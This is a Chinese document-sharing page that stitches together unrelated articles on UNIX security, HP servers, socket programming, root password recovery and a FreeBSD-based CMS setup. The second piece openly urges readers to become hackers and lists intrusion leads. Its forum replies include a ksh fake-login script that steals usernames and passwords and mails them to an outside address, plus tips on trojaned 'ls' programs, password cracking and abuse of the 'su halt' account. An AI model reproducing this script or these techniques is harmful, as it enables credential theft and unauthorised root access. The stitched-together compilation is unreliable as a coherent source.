电脑桌面
添加盘古文库-分享文档发现价值到电脑桌面
安装后可以在桌面快捷访问

UNIX安全管理

来源:文库作者:开心麻花2025-09-191

UNIX安全管理(精选10篇)

UNIX安全管理 第1篇

关键词:UNIX系统,安全隐患,漏洞,攻击

1 引言

UNIX是一个技术成熟、功能强大和结构复杂的商用网络操作系统。UNIX系统具有规模小、功能通用的特点。在全世界各大企业中都有应用,尤其是在金融业应用较广泛,因而UNIX的安全问题就显得重要了。我们看到UNIX系统面临着许多令人生畏的安全威胁,但有许多方法可用来阻止、检测这些威胁并对威胁作出反应。UNIX的安全机制不仅局限于存储器保护,它还提供了一个完整的安全系统,以此来控制用户对文件的存取、修改数据库及使用系统资源的方式。它的这种机制带给了使用者极大的方便,但不幸的是,方便的同时也就意味着被攻击的危险。当系统被错误的设置,或包含有问题的软件时,这些安全机制不能有效地发挥作用,使系统出现安全问题。

2 UNIX存在的安全隐患

UNIX作为一种我国一些企事业单位计算机系统较普遍使用的操作系统之一,它提供了动态可移植、文件与记录的锁定、用户保密系统、多任务、电子邮件和远程文件共享等能力。然而,由于UNIX先天不足,给网络带来了一些安全隐患。

UNIX是由程序员在编程环境下设计完成的,其设计目标既不是用于处理大量业务,也不是用于管理、存储机密信息,因此没有被设计成为一个安全的操作系统。

UNIX是用C语言编写的,因而很容易在不同主机之间移植,程序是可以动态连接的,包括I/O的驱动程序和系统服务。动态连接也是计算机病毒产生的环境。UNIX支持在网络上传输文件,包括可以执行的文件映像。UNIX可以创建进程,支持远程进程创建、激活,被创建进程还可继承创建进程即父进程的权限,这就为埋设“炸弹”软件提供了方便,甚至把“炸弹”软件以“打补丁”的方式打在合法用户上,尤其打在root用户上,做到系统进程与作业的监视程序看不到它的存在。UNIX一般都提供后台守护进程,这些系统进程等待一定条件的激活,一旦条件出现,程序就可运行下去,这些也都是非法者常用手段。非法者看中的是这些进程具有与其它操作系统核心层软件同等的权力。

在UNIX中,root用户具有至高无上的权限。可以任意读、写、执行、删除、更改文件,非法者对它是格外“垂青”。由于没有一套完整的身份验证的保障,无法阻止非法者对root特权的窃取。而且谁也不能担保,root拥有者不会利用合法的特权做出他不应做的事情,只能以职业的道德约束root用户。

这不能不说是UNIX的一大弱点。由于以上的先天不足,使UNIX存在着极大的安全隐患,非法者常利用UNIX的这些弱点,采用窃取访问路径,窃取密码,盗取额外特权等手段对UNIX进行进攻。

3 加强UNIX的安全管理

网络安全管理的总体目标是:“确保受保护目标中信息的完整性、正确性和秘密性。”UNIX安全管理工作,技术手段一直比较缺乏。加强UNIX的访问控制,阻止非授权的资源存取,从以下几个方面进行管理:

1)为提高密码的质量,减少使用中的漏洞,规定了密码的最小长度、密码的有效时间和密码的生存期,并限制必须变更密码的最多最少天数,不得重复使用密码,限制某类字符的最小数目和重复字符的最大数目。

2)加强了登录控制,规定用户什么时候登录,从哪个终端或以什么方式登录,以及同时登录数,用以减少被攻击的机会。

3)将用户和系统中的资源依特性分成不同群组,满足系统管理的层次需要,并且群组还可定义成多层的关系。例如,我们可以把用户组分成安全管理、系统管理、硬件外设管理、应用软件维护、网络维护、柜台操作等。然后,对用户与资源(文件等)建立映射关系。这种基于职责的授权策略,加强了对重要、敏感的请求管理,在职责数据库中确认用户角色定义,只有授权的用户才会把其请求提交系统核心,从而保证资源的安全访问。提高了系统管理的灵活性及安全性。

4)对资源如文件的存取权限,除UNIX传统的读写操作外,增加了删除、生成、改动、搜索等多个等级。对非授权的资源访问,亦提供允许、忽略、记录、拒绝、报警等多种处置方式,以符合管理上的需要。另外,在路由器等方面还建立了“软防火墙”,控制TCP连接(如telnet,ftprlogin等),堵截远程非法登录。

5)安全管理系统的本身也进行安全管理,包括安全管理员的分级、授权、认证。建立有层次的安全管理,既提高效率,又保证了管理系统本身的安全性。

6)加强对超级用户登陆的管理,限制root用户的远程登录。root用户只能在某一个终端(或虚屏)上登录,可对主控台进行指定。例如指定root用户只能在主机第一屏tty01上登录,可避免从网络远程攻击超级用户root。设置方法是在/etc/default/login文件中增加一行:CONSOLE=/dev/tty01。除此之外,我们可以改变su命令文件的存取权,指定某个组或某个指定的用户才能使用su命令。

3 UNIX安全对策

系统的设置、环境的变更、策略的改变都会使安全管理出现漏洞。因此十分需要一种动态的安全监测系统,其特点在于:它是一种“黑客”攻击模拟程序,归纳了最新攻击手段,使得你的系统在这些“良性”攻击下充分暴露缺陷,从而得到迅速的修补,防患于未然;作为动态监测,它能识别攻击特征和其它包括病毒、侦探行为等的可疑行为,迅速检测并予以反击。(3)具有安全漏洞分析响应能力,自动检测出规划管理漏洞,并可自动更正或发出警告。

用下面一些方法来监测机器是否容易受到攻击。

1)#rpcinfo-p来检查你的机器是否运行了一些不必要的进程。

2)#vi/etc/hosts.equiv文件来检查,把你不值得信任的主机去掉。

3)如果没有屏蔽/etc/inetd.conf中的tftpd,请在你的/etc/inetd.conf加入tftp dgram udp wait nobody/usr/etc/in.tftpd–s/tftpboot。

4)建议你备份/etc/rc.conf文件写一个shell script定期比较cmp rc.conf backup.rc.conf。

5)检查你的inetd.conf和/etc/services文件,确保没有非法用户在里面添加一些服务。

6)把你的系统的/var/log/*下面的日志文件备份到一个安全的地方,以防止入侵者#rm/var/log/*。

7)一定要确保匿名FTP服务器的配置正确,在proftpd.conf一定要配置正确。

8)备份好/etc/passwd,然后改变root口令。确保此文件不能够其他人被访问。

9)如果你还不能够防止入侵者的非法闯入,你可以安装i-dent后台守护进程和TCPD后台守护进程来发现入侵者使用的帐号。

10)确保你的控制台终端是安全的,以防止非法用户能够远程登陆你的网络上来。

11)检查hosts.equiv,rhosts,hosts,lpd都有注释标识#,如果一个入侵者用它的主机名代替了#,那么就意味着他不需要任何口令就能够访问你的机器。

除了以上讨论的安全问题之外,还有很多因素都与计算机系统的安全相关,要保证系统安全除了要从思想上重视,做好日常检查和数据备份外,还要做好职员的教育工作,提高全体职员的素质,将安全隐患降到最低。

参考文献

[1]Kate Wrightson.UNIX从入门到精通[M].北京:电子工业出版社,2001.

[2]Steve Burnett.Windows2000与UNIX集成指南[M].北京:清华大学出版社,2001.

UNIX安全管理 第2篇

当你为用户精心设计了一系列安全措施后,用户总会觉着有点“玄”。他凭什么为这样的网络就是“安全”的呢?是根据设计方案的厚度?还是他为此所花的钱数?到底如何评价一个网络的安全性呢?曾听说过这样的定义:“网络的安全程度定义为该网络被攻击成功的可能性”,听起来倒是蛮有哲理味儿的,可如何实际操作呢?计算机系统的安全程度可以用“橘皮书”的定义来评价,网络系统是不是也可以搞出个“橘皮书”什么的呢?

当你左一层右一层地对信息加密时,心里也许认为层数越多就越安全。但事实是不是真的这样呢?当你又加了一层密时,到底增加了多少的安全性呢?

“喏,你看....”,你指着自己的设计对用户说“即使有人突破了第一道防线,我们还有第二道防线呢。即使第二道也被突破,我们仍然有第三道、第四....”。可怜的用户望着得意洋洋的你,心里不禁嘀咕:“干嘛搞这么复杂....真的非这样不可吗?我可是只是想保证两个星期的安全性啊。”

为了防止大灰狼进来,小猪们把门窗都横七竖八地钉了个死死的。可是大灰狼会不会从别处进来呢?比如说....壁炉的烟囱!聪明的小猪们在壁炉里烧起了一锅开水....。小猪们是聪明的,我们的系统管理员们呢?

计算机系统的安全性依靠一种“访问控制模型”来进行。有没有可能建立一个“网络安全模型”并对它进行形式化的证明,以便从理论上深入开展网络安全的研究?这样就可以摆脱目前的被动地“打补丁”的做法。

网络入侵和网络安全是一对矛盾,没有Hacker高手就不会有好的安全系统。这听起来有些悲哀,可惜是事实。为了提高我们的安全防范能力,我看是不是先培养一批Hacker出来(中国的Hacker太少了)。在此提供几条线索供Hacker们参考:

用过Solaris的snoop命令吗? 用它可以“听到”同一共享网段内的其他用户的口令(当然包括超级用户的)。

sendmail 5.5.9版本以前有个debug命令, 是个强有力的远程调试工具,可惜也是一个大bug。

冒充路由器可以看到所有往来的信息,RIP协议没有身份认证的部分,虽然OSPF协议中有关于身份认证的部分,但很少有人用到。

NFS、NIS都是不太安全的。

1988年的WORM网络病毒最厉害的地方并不是传说中的利用 sendmail的缺陷,而是对看来毫无破绽的finger的攻击!

很多系统管理员为了关机方便而设立了halt之类的特殊用户, 怎样利用这一点来攻击呢?

侵入了一个系统之后,如何“打扫战场”让管理员看不出来? 如何潜伏下来以致于管理员除了重新安装系统,别无清除的办法呢?

....

这些东西都不是我凭空想象的,国外的Hacker们就是这么做的(他们还有很多更厉害的招数呢),

很多东西我也不知道该怎么做,Hacker们自己努力吧。

1-----

: 1).用过Solaris的snoop命令吗? 用它可以“听到”同一共享网段内的其他用户: 的口令(当然包括超级用户的)。

: 3).冒充路由器可以看到所有往来的信息,RIP协议没有身份认证的部分,虽然: OSPF协议中有关于身份认证的部分,但很少有人用到。

这两个是取得口令的最简洁之法, 呵呵. ------- 我也有一简洁之法:

把下面的shell 命令用 ksh 运行

clear

stty ignbrk

echo “login:c”

read logname

stty -echo

echo “password:c”

read passwd

print “ Login incorrect ”

print $logname $passwd | mail cxterm.bbs@jet.ncic.ac.cn

stty 0

stty echo

exit

-----

嗯,是一种方法,但必须你能访问对方的机器才能偷到口令。常用的方法

还有在自己能用的目录里放上叫 “ls” “grep” 之类的程序, 希望 root能不小心运行到她们, 一旦获得 root 权限, 呵呵, 下面的我就不用说了. 所以 root 的PATH里不应当有 . (当前目录).

更彻底的方法就是根据passwd文件里面的密文算口令的明文, 我曾经编过

一个算passwd的程序, 能在 Pentium 100机器上用半个小时左右的时间算出长度<=5 && 只包含字母和数字 的口令. 因此选口令的时候要注意. 用jack14既可,攻击得当的话6位不含大写字母的pass也能在一月内破掉。

这一方法要求必须取得对方含有密文的passwd文件(有shadow passwd的机器上需要取得/etc/shadow), 所以要注意机器上passwd的安全性 (不要试图取消用户对该文件的读权限, 所有的用户都需要能读该文件).

-----

解决的办法, 可以用firewall屏蔽网段。

也可以使用SSL(secure socket layber)替代原有的socket明文数据传输。

-----

:若干机器上都是用户可以直接su halt, 然后就成为超级用户了, :-)

:有的机器你可以用rlogin hostname -l halt 对方的机器就被shutdown了,: 哈哈.

我用su halt 然后就shutdown了. 有n个文件没有存盘.

[b:59a25412aa][/b:59a25412aa][b:59a25412aa][/b:59a25412aa]

UNIX安全管理 第3篇

目前,在服务器架构方面企业通常有三种选择:大型机、Unix与x86平台。企业最常用的一个选型标准是,如果是关键业务则选Unix,一般业务则选x86平台,大型机投资过于高昂,则慎选。因为一般认为,Unix服务器可靠、性能稳定,而x86平台则便宜、性价比高、部署起来非常简单容易。

“这样的选择标准看起来合理,其实是存在问题的。问题在于,有一些业务应用用户刚开始出于经济性的考虑选择了x86平台,但随着业务发展,其关键性不断提高,到一定时候必须迁移到关键系统上,也就是要迁移到Unix平台之上。这意味着此前的很多投资要被迫放弃,包括IT人员的技能和服务器等。”惠普亚太及日本地区副总裁兼关键业务服务器产品部总经理全寅皓表示,“惠普‘Odyssey’计划可以把用户从这种尴尬中解脱出来。”

据记者了解,惠普“Odyssey”计划的关键之一就是让用户在同一个机箱中既可以运行基于英特尔安腾处理器的HP-UX操作系统,也可以运行基于英特尔至强处理器的Microsoft Windows或Red Hat Enterprise Linux操作系统,以支持关键业务应用。这样,当用户准备将业务迁移到关键业务平台时,它可以平滑地迁移。

全寅皓详细介绍了惠普全新的研发路线图,包括在HP Integrity服务器、HP NonStop系统与HP-UX和OpenVMS操作系统上的持续创新,还包括在未来两年内推出用于HP Superdome 2机箱(代号“DragonHawk”)和c-Class刀片机箱(代号“HydraLynx”)、采用英特尔至强处理器的刀片单元,将支持HP-UX环境的创新技术用于加强支持Windows和Linux环境。

UNIX下Socket编程浅析 第4篇

关键词:UNIX,Socket,函数,程序

1. Socket建立

为了建立Socket, 程序可以调用Socket函数, 该函数返回一个类似于文件描述符的句柄。socket函数原型为:

int socket (int domain, int type, int protocol) ;

domain指明所使用的协议族, 表示互联网协议族 (TCP/IP协议族) ;type参数指定socket的类型:SOCK_STREAM或SOCK_DGRAM, Socket接口还定义了原始Socket (SOCK_RAW) , 允许程序使用低层协议;protocol通常赋值"0"。Socket () 调用返回一个整型socket描述符, 你可以在后面的调用使用它。

Socket描述符是一个指向内部数据结构的指针, 它指向描述符表入口。调用Socket函数时, socket执行体将建立一个Socket。Socket执行体为你管理描述符表。两个网络程序之间的一个网络连接包括五种信息:通信协议、本地协议地址、本地主机端口、远端主机地址和远端协议端口。Socket数据结构中包含这五种信息。

2. Socket配置

通过socket调用返回一个socket描述符后, 在使用socket进行网络传输以前, 必须配置该socket。面向连接的socket客户端通过调用Connect函数在socket数据结构中保存本地和远端信息。无连接socket的客户端和服务端以及面向连接socket的服务端通过调用bind函数来配置本地信息。

Bind函数将socket与本机上的一个端口相关联, 随后你就可以在该端口监听服务请求。Bind函数原型为:

int bind (int sockfd, struct sockaddr*my_addr, int addrlen) ;

Sockfd是调用socket函数返回的socket描述符, my_addr是一个指向包含有本机IP地址及端口号等信息的sockaddr类型的指针;addrlen常被设置为sizeof (struct sockaddr) 。

struct sockaddr结构类型是用来保存socket信息的:

sa_family一般为AF_INET, 代表Internet (TCP/IP) 地址族;sa_data则包含该socket的IP地址和端口号。使用bind函数时, 可以用下面的赋值实现自动获得本机IP地址和随机获取一个没有被占用的端口号:

通过将my_addr.sin_port置为0, 函数会自动为你选择一个未占用的端口来使用。同样, 通过将my_addr sin_addr.s_addr置为INADDR_ANY, 系统会自动填入本机IP地址。注意在使用bind函数是需要将sin_por和sin_addr转换成为网络字节优先顺序;而sin_addr则不需要转换。

计算机数据存储有两种字节优先顺序:高位字节优先和低位字节优先。Internet上数据以高位字节优先顺序在网络上传输, 所以对于在内部是以低位字节优先方式存储数据的机器, 在Internet上传输数据时就需要进行转换, 否则就会出现数据不一致。

Bind () 函数在成功被调用时返回0;出现错误时返回"-1"并将errno置为相应的错误号。需要注意的是, 在调用bind函数时一般不要将端口号置为小于1024的值, 因为1到1024是保留端口号, 你可以选择大于1024中的任何一个没有被占用的端口号。

3. 连接建立

面向连接的客户程序使用Connect函数来配置socket并与远端服务器建立一个TCP连接, 其函数原型为:

int connect (int sockfd, struct sockaddr*serv_addr, int addrlen) ;

Sockfd是socket函数返回的socket描述符;serv_addr是包含远端主机IP地址和端口号的指针;addrlen是远端地质结构的长度。Connect函数在出现错误时返回-1, 并且设置errno为相应的错误码。进行客户端程序设计无须调用bind () , 因为这种情况下只需知道目的机器的IP地址, 而客户通过哪个端口与服务器建立连接并不需要关心, socket执行体为你的程序自动选择一个未被占用的端口, 并通知你的程序数据什么时候到达端口。

Connect函数启动和远端主机的直接连接。只有面向连接的客户程序使用socket时才需要将此socket与远端主机相连。无连接协议从不建立直接连接。面向连接的服务器也从不启动一个连接, 它只是被动的在协议端口监听客户的请求。

Listen函数使socket处于被动的监听模式, 并为该socket建立一个输入数据队列, 将到达的服务请求保存在此队列中, 直到程序处理它们。

int listen (int sockfd, int backlog) ;

Sockfd是Socket系统调用返回的socket描述符;backlog指定在请求队列中允许的最大请求数, 进入的连接请求将在队列中等待accept () 它们。Backlog对队列中等待服务的请求的数目进行了限制, 大多数系统缺省值为20。如果一个服务请求到来时, 输入队列已满, 该socket将拒绝连接请求, 客户将收到一个出错信息。当出现错误时listen函数返回-1, 并置相应的errno错误码。

accept () 函数让服务器接收客户的连接请求。在建立好输入队列后, 服务器就调用accept函数, 然后睡眠并等待客户的连接请求。

int accept (int sockfd, void*addr, int*addrlen) ;

sockfd是被监听的socket描述符, addr通常是一个指向sockaddr_in变量的指针, 该变量用来存放提出连接请求服务的主机的信息 (某台主机从某个端口发出该请求) ;addrten通常为一个指向值为sizeof (struc sockaddr_in) 的整型指针变量。出现错误时accept函数返回-1并置相应的errno值。当accept函数监视的socket收到连接请求时, socket执行体将建立一个新的socket, 执行体将这个新socket和请求连接进程的地址联系起来, 收到服务请求的初始socket仍可以继续在以前的socket上监听, 同时可以在新的socket描述符上进行数据传输操作。

4. 数据传输

Send () 和recv () 这两个函数用于面向连接的socke上进行数据传输。

Send () 函数原型为:

int send (int sockfd, const void*msg, int len, int flags) ;

Sockfd是你想用来传输数据的socket描述符;msg是一个指向要发送数据的指针;Len是以字节为单位的数据的长度;flags一般情况下置为0。

Send () 函数返回实际上发送出的字节数, 可能会少于你希望发送的数据。在程序中应该将send () 的返回值与欲发送的字节数进行比较。当send () 返回值与len不匹配时, 应该对这种情况进行处理。

recv () 函数原型为:

int recv (int sockfd, void*buf, int len, unsigned int flags) ;

Sockfd是接受数据的socket描述符;buf是存放接收数据的缓冲区;len是缓冲的长度。Flags也被置为0。Recv () 返回实际上接收的字节数, 当出现错误时, 返回-1并置相应的errno值。

5. 结束传输

当所有的数据操作结束以后, 你可以调用close () 函数来释放该socket, 从而停止在该socket上的任何数据操作:

close (sockfd) ;

你也可以调用shutdown () 函数来关闭该socket。该函数允许你只停止在某个方向上的数据传输, 而一个方向上的数据传输继续进行。如你可以关闭某socke的写操作而允许继续在该socket上接受数据, 直至读入所有数据。

int shutdown (int sockfd, int how) ;

Sockfd是需要关闭的socket的描述符。参数how允许为shutdown操作选择以下几种方式: (0--不允许继续接收数据;1--不允许继续发送数据;2--不允许继续发送和接收数据, 均为允许则调用close () ) 。

shutdown在操作成功时返回0, 在出现错误时返回-1并置相应errno。

参考文献

[1]高波, Linux网络编程[M], 北京:清华大学出版社, 2000.

[2]都幸帆、刘峰, UNIX的进程通讯及应用, 小型微型计算机系统, 1990年01期

[3]王静、曲凤娟, 基于Socket的多用户并发通信的设计, 福建电脑, 2007年03期

UNIX安全管理 第5篇

长期以来,许多人就超级用户口令被忘记的问题发表了各种看法。一部分人认 为,一旦忘记了超级用户口令,只能重装操作系统,此外别无它法。另一部分人则坚决 反对这种“重装论”,他们提出了一些经过成功实践的解决方案,使得“重装论”者败下阵来。现在我们可以肯定地说,忘记超级用户口令是有办法解决的。

但同时我们也不得不承认,现行的解决方案有很大的局限性,这些局限性决定了现有方案无论怎样变化和发展也不可能成为一种有着强大生命力的最彻底的解决方案。

传统解决方案的局限性

上面已经谈到,目前有多种针对超级用户口令被忘记问题的解决方案。为了叙述上的方便,本文将这些方案统称为传统解决方案。传统方案乍看起来似乎各不相同,但必须有一套(两张)EmergencyBootFloppy(紧急启动软盘)。这套软盘均为文件系统

格式,必须在SCOUNIX上制作,并且在不同类型机器上制作的紧急启动软盘相互不能通用。用紧急启动软盘启动后,将硬盘根文件系统mount到某个目录下(一般为/mnt目录),然后进入该目录(即进入硬盘根文件系统的根目录),修改相关目录下与超级用户口令有关的信息(各种方案的不同之处主要体现于此)。最后回到软盘根目录,拆卸/dev/hd0root,重启机器。

这些共同点实际上反映了传统方案的局限性:

一、操作平台局限性:要求自始至终必须在SCOUNIX操作系统平台上实施。

二、操作工具局限性:对紧急启动软盘的依赖性太大。万一软盘发生损毁,必须找一台类型相同的机器再制作一套,这就是前面所说的“专盘专用”的限制。

三、操作对象局限性:必须依靠硬盘根文件系统的支持。即操作者与修改对象(指与超级用户口令有关的信息)被文件系统隔开,操作者不能直接修改对象,只能调用文件系统提供的服务修改。这种方式本是信息科学中倡导的层次化思想的一种体现,在

正常情况下应予称道;但任何事物都是有两面性的,在非常情况下--诸如解决忘记超级用户口令这一类问题时--该方式反而有可能带来麻烦,

三大局限性说明了传统解决方案可行性的脆弱和狭窄,也决定了它们作为凌驾于文件系统之上的高层方案所必然具有的弊端。于是,打破这些局限性,探索出一种全新的解决方案,就成为了摆在一切UNIX研究者面前的新课题。

所谓新课题,就是找到一种能够突破传统方案局限性的新方案。究竟从何处下手呢?让我们再来看一看三大局限性。

操作平台局限性似乎不好突破,因为其它操作系统识别不了UNIX的文件系统格式。

操作工具局限性好象就更难了,因为紧急启动软盘既要在UNIX上制作,又要在UNIX上使用,所以如果操作平台局限性突破不了,它就更突破不了。最后看看操作对象局限性。操作对象完全由文件系统管理,操作者必须通过文件系统访问它们。万一文件系统崩溃,那么即使它下面的文件完好无损,操作者也只能认为这些文件已全部丢失--因为文件系统无法访问(例如mount不上来)。其实这个时候还是有办法找到那些文件的,方法就是直接访问物理硬盘。道理很简单:就本质而言,文件系统只不过是一个构筑于物理硬盘之上的逻辑组织,平时我们是通过它来访问物理硬盘的;现在这个组织寿终正寝,不能再为我们服务了,于是我们只好“自己动手,丰衣足食”。直接访问物理硬盘不但可以使文件“失”而复得,而且还有另外一个重要意义--突破了操作对象局限性。

操作对象局限性一旦突破,我们就会惊奇地发现突破另外两大局限性简直可以说是顺理成章了。因为虽然其它操作系统识别不了UNIX的文件系统格式,但在任何操作系统上,我们都可以访问物理硬盘;而只要是带有访问物理硬盘功能的软件,都可以成为我们的操作工具。

现在我们要做的仅仅是:找一个大家最熟悉的操作系统和一个最易寻觅的可以访问物理硬盘的软件。

大家最熟悉的操作系统无疑是DOS。可以访问物理硬盘的软件很多,但最易寻觅的莫过DEBUG.EXE。所谓最易寻觅,是因为DEBUG是DOS本身的一条外部命令,可以说只要是在安装了DOS的机器上都可以找到它。对DEBUG略知一二的人可能会指出该命令并

没有提供访问物理硬盘的选项,但请不要忘记DEBUG是DOS提供给用户的一个汇编语言调试程序,我们完全可以利用它编写、调试和执行一个汇编小程序去访问物理硬盘。应该说,这对一个能够取得系统管理员身份的人并不困难。

综上所述,在DOS上运行DEBUG来破除UNIX管理员口令,这就是本文提出的解决SCOUNIX超级用户口令被忘记问题的新方案。 新方案的应用新方案已经提出,下面我们来看看它是如何应用于实践的。

★ python实现文件名批量替换和内容替换

★ dos命令下的常见错误信息

★ DOS的Time、Set、Smartdrv命令使用说明

★ 如何在win7电脑中运用dos命令删除空白文件夹?

★ DOS详细讲解

★ DOS的一些知识

★ 用Windows自带的命令结束进程

★ 命令格式公文范文

★ 如何修改规章制度

基于Unix平台的CMS构建 第6篇

Unix system是一个开源的, 功能强大的, 支持多用户、多CUP架构的分时操作系统, 许多大型企业信息系统的建设都选择采用Unix+Apache+Oracle的组网方案, 开发语言使用PHP或JSP, 而网络的架构多采用B/S多层架构。本文采用Unix (FreeBSD) +Tomcat+Mysql+Jsp的组网方案进行阐述如何基于Unix平台构建和设计大型信息系统CMS。

1Unix系统版本的选择

Unix目前主要有AT&T System V和BSD两个可用的基础版本, 绝大多数的Unix版本都是建立在这两版本之上。比较流行的版本有Sun Microsystem’s Solaris Unix, Red Hat Enterprise Linux, Debian GUN, Mac OS X, 以及FreeBSD。在此次平台搭建中笔者选择了FreeBSD, Shell选择TCSH。

2利用虚拟机搭建Unix系统

目前, 国内主流的操作系统为Microsoft公司的Windows平台。要在此平台上建立Unix系统, 需要通过虚拟机实现平台的无缝连接使用。

2.1 虚拟机的版本选择

VMware Workstation 和Vitual PC是市场中比较流行的两种虚拟机。两者的主要区别在与是否支持虚拟的SCSI (Small Computer System Interface) 。对于VMware, 它支持虚拟SCSI, 故可以通过Mount命令进行虚拟光驱、USB等设备使用。而对于Virtul PC, 虽然不支持虚拟SCSI, 但是允许宿主机和虚拟机之间拖放文件, 对于桌面系统来说也是十分方便。

2.2FreeBSD的安装

本次平台搭建选择FreeBSD8.3版本。安装过程比较简单, 可以将光盘做成ISO镜像文件作为虚拟DVD/CD添加, 利用Mount –t cd9660 /dev/acd0 /cdrom命令导入虚拟光盘, 进入到FreeBSD的安装界面。安装过程中, 对于必要的组件可以安装, 如port、ftp、databases等等, 假若不需要可以跳过。

3搭建Tomcat服务器

Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器, 它实现了对Servlet和JavaServer Page, 是对Apache功能的一个扩展。由于CMS信息系统需要对其中的内容进行动态解析, 所以选择Tomcat服务器进行安装。

3.1 安装

由于Apache是开源软件, 所以可以很容易的在www.apache.org中进行免费下载软件包:httpd-2.2.16.tar.gz。使用ISO镜像文件进行导入, copy到/usr/local目录下后用tar命令进行解压, 再用./configure命令进行配置后make install成功安装。

3.2 启动与关闭

要启动Tomcat需要进入到/usr/local/Tomcat/bin中执行./startup.sh, 要关闭Tomcat服务器, 只需要执行bin目录下的./shutdown.sh即可。

3.3 测试与使用

要检验Tomcat是否成功启动, 有两种方式。一种是使用netstat –na命令查看8080端口服务是否处于监听状态;另一种方式可以在对内进行简单的网络配置后, 从宿主机的IE向内访问http://虚拟机IP:8080, 若出现Apache自带的index.jsp页面成功信息, 说明Tomcat启动成功。要实现网页的访问, 需要把编写好的JSP文件放在/usr/local/Tomcat/webapps/ROOT目录下, 从宿主机的IE向内访问http://虚拟机IP:8080/*.jsp即可。

4JDK的配置

Java Development Kit即JDK, 是整个Java的核心部件, 包括了Java的运行环境、Java工具和Java的基础类库。目前有SE、EE、ME三个版本。

同样在官网下载JDK最新版本后执行tar zxvf解压命令到指定/usr/local位置后, 即安装成功。对环境变量的设置, 可以使用setenv命令添加三个环境变量Java_HOME=/usr/local/jdk,

CLASSPATH=/usr/local/jdk/lib, ATH= /usr/local/jdk/bin:/usr/local/jre/bin。

要检验JDK是否配置成功, 可以用javac java命令进行查询java的信息。若出现java版本号等信息, 说明JDK配置成功。

5MySQL数据库的安装配置

MySQL是由瑞典MySQL AB公司开发的小型关系型数据库管理系统。凭借其体积小、速度快、成本低、源码开放的特点, MySQL深受中小型网站开发者的喜爱。

5.1MySQL的安装

MySQL是开源的一个小型数据库, 可以免费在http://www.mysql.com/downloads/下载并进行安装。使用光盘安装也是可选的方案之一。本文阐述的是光盘安装的方式。

对FreeBSD-8.3-RELEASE-i386-dvd1.iso使用Mount命令导入后, 直接用sysinstall命令进入到开始的FreeBSD安装界面, 进入到databases配置中勾选mysql-server-5.5.21, 系统会默认对client也进行添加安装。通过光盘进行安装的默认位置为/usr/local/bin目录下。

5.2MySQL的初始化与启动

要使用MySQL首先要对初始的数据库进行安装, 执行./mysql_install_db --basedir=/usr/local --datadir=/var/db/mysql/命令即可。初始化后可以发现其中多了系统自带的test、mysql、information_schema三个数据库。之后, 需要使用./mysqld_safe --user=mysql --datadir=/var/db/mysql &对MySQL数据库进行后台的启动。当执行./mysql –u root mysql 后, Shell会变成>mysql, 此时说明进入SQL成功, 可以对数据库进行操作。

5.3MySQL的使用

登录进入MySQL界面后, 可以通过一些简单的命令对数据库进行操作。

创建数据库:create databases coco;

使用数据库:use databases coco;

创建表格:create tables product (id char (10) , pro_name char (10) ) ;

插入值:insert into product values (”1”, ”computer”) .

6B/S架构的实现

6.1 配置网络环境

要实现Windows与Unix的局域网互联, 首先要对IP进行配置。配置的关键在于虚拟机与宿主机的IP处于同一个局域网下。首先利用ifconfig查看Unix系统的网卡和IP配置信息。之后逐步对IP、子网掩码、网关、DNS进行配置。ifconfig 192.168.10.2 netmask 255.255.255.0用于配IP与子网掩码。Route add default 192.168.10.254用于配置网关。DNS的配置, 需要用vi编辑器进入到/etc/resolv.con文件中对其进行修改。退出保存。当内外都能顺利ping通时, 表示网络环境已经搭建好。

6.2 实现B/S架构

本次搭建使用的是B/S的两层结构。用vi编辑器写一个对已建好数据库进行操作的JSP文件, 将其放入到Tomcat的ROOT目录下。启动Tomcat服务器及后台运行MySQL数据库后, 从宿主机向内访问虚拟机IP, 若成功查询出表格的内容, 表明B/S架构测试成功, 可以进行更具体的工作。

7CMS内容管理系统设计

7.1CMS概述

CMS即内容管理系统, 是介于数据库和前台网页之间的一个用户接口, 广泛应用于各大网站管理中。CMS模块通用性强, 使得用户可以很方便的对网站内容进行管理, 提高管理的效率。它将网站的内容与网站的后台主键分离, 可以很方便地管理、发布、维护网站的内容, 而不需要用传统的HTML代码来手工修改每个页面。

7.2CMS功能描述

一般的CMS都包含以下几个主要的功能:一是网站信息的创建、修改和删除, 二是对网站的信息进行自动发布和排版, 三可以自定义栏目和频道, 四是可以对用户角色进行授权和管理。

7.2.1 信息编辑功能

该功能允许已授权的用户对网站的内容信息进行增删查改。由于CMS系统的界面友好, 所以非专业的用户都可以很轻松的对网站的内容进行及时的更新修改, 通过动态页, 修改的部分会及时地显示在前台, 十分便利。

7.2.2 信息发布排版功能

该功能允许已授权的用户对修改的内容进行发布和排版。当对录入的修改信息检查无误后, 点击发布即可将修改内容在前台动态显示。同时对于要求前台信息展现形式美观的用户, 可以很简单的对排版的方式进行修改。

7.2.3 自定义栏目频道功能

该功能允许已授权的用户对网站整体的内容结构进行调整。很多时候, 网站会出现栏目结构变动的情况, 而对于HTML页来说要进行大规模的修改是费时费力的。该模块功能就很容易的实现前台模块的变更, 使用方便。

7.2.4 用户角色授权功能

该功能允许已授权的用户对网站的用户权限进行分配。对于CMS系统, 使用的角色一般包括普通管理员和高级管理员。普通管理员只可以对高级管理员授权的模块进行管理, 很好的保证的了管理过程中数据和信息的安全性和稳定性。

7.3CMS更新流程

CMS更新过程中首先触发事件为用户提交文本图片等内容, 通过JS检查内容的合法性后, CMS调用前台的接口发生更新的信息。前台内容更新后, 会返回一个更新的状态。MS记录更新的日志, 更新的结果会被反馈给用户, 完成一次更新流程。

7.4CMS数据库的设计

MySQL是开源的小型数据库, 内存占用小, 运行速度快, 应用成本低, 支持SQL查询语言, 有效地提高数据CRUD的操作速度, 并且在Unix下能够很好地兼容, 实现数据的各项操作。

CMS数据库的主要内容主要包括文字、图片、声音、视频等几大类, 根据具体的栏目设置, 可以再进一步的进行划分。在设计数据库的过程中, 应该注意做到数据信息定义标准化、编码标准化。合理的数据库架构, 是保证数据独立性和流畅性的前提条件。

8结束语

Unix是第三次工业革命时期中极其具有代表性的产物, 由其引发的计算机产业的革新更是一笔不可或缺的宝贵遗产。本文以CMS为例, 阐述了如何基于该平台采用Unix (FreeBSD) +Tomcat+Mysql+Jsp的组网方案进行大型信息系统构建, 有效地解决了网站的内容管理问题, 给网站管理员提供便利。

